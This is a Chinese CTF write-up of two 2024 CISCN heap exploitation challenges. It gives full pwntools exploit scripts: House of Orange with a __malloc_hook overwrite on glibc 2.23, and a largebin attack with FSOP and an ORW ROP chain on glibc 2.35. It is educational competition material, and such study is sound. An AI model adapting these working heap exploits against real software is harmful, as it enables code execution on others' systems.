2024ciscn初赛两道经典堆题

前言

这次国赛的pwn题目有些抽象,不过其中有两道比较经典的堆题,这里就详细的写一下

orange_cat_diary

思路

没想到能在国赛上再次见到2.23的orange,然后这个题还可以打malloc_hook,对于国赛来说,这个题目还是比较简单的,不过确实也是比较经典的堆题了


4个功能都有


限制在0x1000范围内,这里最经典的那道orange就是用的0x1000申请的,这题同理


这里就给了一次uaf


edit可以修改的也比较多


一次show
简单来说就是限制了0x1000的申请,一次uaf,一次show,提示了打orange,所以直接从这方面入手就行

ru("Hello, I'm delighted to meet you. Please tell me your name.")
sl('PaT1Ent')
add(0x28,"aaaa")
pay = 'b'*0x28+p64(0xfd1)
edit(0x30,pay)

首先修改topchunk的size


然后申请大于0xfd1大小的堆块,将top_chunk送入unsorted bin

add(0x1000,"c")


然后申请出来带main_arena+88和fd_nextsize的large chunk

add(0x400,'bbbbbbbb')


这样libc和heap地址都能泄露

show()
ru('bbbbbbbb')
main_arena = uu64(r(6))
libc_base = main_arena-0x3c510a
leak('libc_base ',libc_base)
r(3)
heap=u64(p.recv(6).ljust(8,'\x00'))
heap_addr=heap<<8
leak('heap_addr ',heap_addr)


到目前为止,我们的uaf还没用,所以打malloc_hook

add(0x60,'eeee')
delete()
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(8,p64(malloc_hook-0x23))

2.23的malloc_hook要在0x70这条链表上面错位打(malloc_hook-0x23)


这里2.23版本有没有实际的chunk也无所谓,直接把_IO_wide_data_0+301申请出来就行,直接改成og就可以

add(0x60,'eeee')
pl='a'*0x13+p64(og)
add(0x60,pl)


然后在调用malloc的时候触发og

sla('Please input your choice:','1')
ru('Please input the length of the diary content:')
sl('666')

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc-2.23.so')

add_idx = 1
delete_idx = 3
show_idx = 2
edit_idx = 4

def duan():
    gdb.attach(p)
    pause()

def choice(cho):
    sla('Please input your choice:',cho)

def add(size,content):
    choice(add_idx)
    sla('Please input the length of the diary content:',size)
    sla('Please enter the diary content:\n',content)

def delete():
    choice(delete_idx)

def show():
    choice(show_idx)

def edit(size,content):
    choice(edit_idx)
    sla('Please input the length of the diary content:',size)
    sla('Please enter the diary content:\n',content)

def duan():
    gdb.attach(p)
    pause()


ru("Hello, I'm delighted to meet you. Please tell me your name.")
sl('F4atherw1t')

add(0x28,"aaaa")
pay = 'b'*0x28+p64(0xfd1)
edit(0x30,pay)
add(0x1000,"c")
add(0x400,'bbbbbbbb')
show()
ru('bbbbbbbb')

main_arena = uu64(r(6))
libc_base = main_arena-0x3c510a
leak('libc_base ',libc_base)
r(3)
heap=u64(p.recv(6).ljust(8,'\x00'))
heap_addr=heap<<8
leak('heap_addr ',heap_addr)
ogs=[0x45226,0x4527a,0xf03a4,0xf1247]
og=libc_base+ogs[2]

add(0x60,'eeee')
delete()
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(8,p64(malloc_hook-0x23))
add(0x60,'eeee')
pl='a'*0x13+p64(og)
add(0x60,pl)
#show()
sla('Please input your choice:','1')
ru('Please input the length of the diary content:')
sl('666')
#duan()
itr()

EzHeap

思路

这个题目就是2.35版本的堆题


同样是功能都有


add限制在0x500


无uaf


edit限制修改大小在0x500
很明显的堆溢出,因为修改范围很大,所以可以操作很多


开了沙箱,只允许open,read和write,不过open用的openat系统调用,这里不允许,所以直接用syscall就可以


因为沙箱设置,bin链表很乱
申请一个大点的chunk,把fastbin和unsortedbin中chunk的链入smallbin

add(0x450,'bbbb')


这时候也可以想办法泄露libc了


这里我选择了两个比较接近的chunk,覆盖一下泄露libc

add(0xe8,'bbbb')
pl=b'a'*0x258+b'kkkkkkkk'
edit(1,len(pl),pl)
show(1)
ru('kkkkkkkk')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70

然后防止idx乱,delete一下

delete(0)
delete(1)


然后用这俩泄露heap


这里就有heap,所以直接覆盖泄露

add(0x58,b'a')
pl=b'k'*0xa8+b'ffffffff'
edit(0,len(pl),pl)
show(0)
ru('ffffffff')
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
leak('libc_base ',libc_base)
leak('heap_addr ',heap_base)


下面的就好说了

add(0x250,'pppp')#idx=1
add(0x458,'aaaa')
add(0x458,'aaaa')
add(0x448,'aaaa')
add(0x448,'aaaa')#idx=5

留个0x250的chunk,用edit溢出去修改largebin chunk
orw写到一个chunk里

然后edit 0x250的chunk 去修改下面的large bin chunk

pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr) 
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile) 
pl+=p64(0)*0x14+p64(chunk0+0xe0+0xe8)   
pl+=p64(0)*0xd+p64(magic_gadget)
edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)


然后触发large bin attack,再申请一个0x440大小的chunk就成功修改了io

add(0x4e0,'a')
add(0x440,'b')


exit触发即可

exit()

打出了本地的flag

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context.terminal = ['gnome-terminal','-x','sh','-c']

p = process('./pwn')
libc = ELF('./libc.so.6')

add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def duan():
    gdb.attach(p)
    pause()

def choice(cho):
    sla('choice >> ',cho)

def add(size,content):
    choice(add_idx)
    sla('size:',size)
    sla('content:',content)

def delete(idx):
    choice(delete_idx)
    sla('idx:\n',idx)

def show(idx):
    choice(show_idx)
    sla('idx:',idx)

def edit(idx,size,content):
    choice(edit_idx)
    sla('idx:',idx)
    sla('size:',size)
    sla('content:',content)

def exit():
    sla(b'choice >> ',b'5')


add(0x450,'bbbb')
add(0xe8,'bbbb')
pl=b'a'*0x258+b'kkkkkkkk'
edit(1,len(pl),pl)
show(1)
ru('kkkkkkkk')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70
delete(0)
delete(1)

add(0x58,b'a')

pl=b'k'*0xa8+b'ffffffff'
edit(0,len(pl),pl)
show(0)
ru('ffffffff')
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
leak('libc_base ',libc_base)
leak('heap_addr ',heap_base)

rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f2e7
rax= libc_base + 0x45eb0
ret = libc_base + 0x29139

lock =0x3ed8b0+libc_base
magic_gadget = libc_base + 0x16a050 +26 
syscall = libc_base + libc.sym['read'] + 0x10
io_all = libc_base + libc.sym['_IO_list_all']  
wfile = libc_base + libc.sym['_IO_wfile_jumps']  
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))

orw_addr=heap_base+0x3210
flag_addr = heap_base+0x260
chunk0 = heap_base + 0x24b0

add(0x250,'pppp')#idx=1
add(0x458,'aaaa')
add(0x458,'aaaa')
add(0x448,'aaaa')
add(0x448,'aaaa')#idx=5

delete(2)
add(0x498,'a')
delete(4)

orw=b'./flag\x00\x00'
orw+=p64(rdx_r12)+p64(0)+p64(chunk0+0x30)
orw+=p64(rdi)+p64(orw_addr)
orw+=p64(rsi)+p64(0)
orw+=p64(rax)+p64(2)
orw+=p64(syscall)
orw+=p64(rdi)+p64(3)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(0)
orw+=p64(syscall)
orw+=p64(rdi)+p64(1)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(1)
orw+=p64(syscall)

edit(5,len(orw),orw)
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr) 
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile) 
pl+=p64(0)*0x14+p64(chunk0+0xe0+0xe8)   
pl+=p64(0)*0xd+p64(magic_gadget)
edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)
add(0x4e0,'a')
add(0x440,'b')

exit()
itr()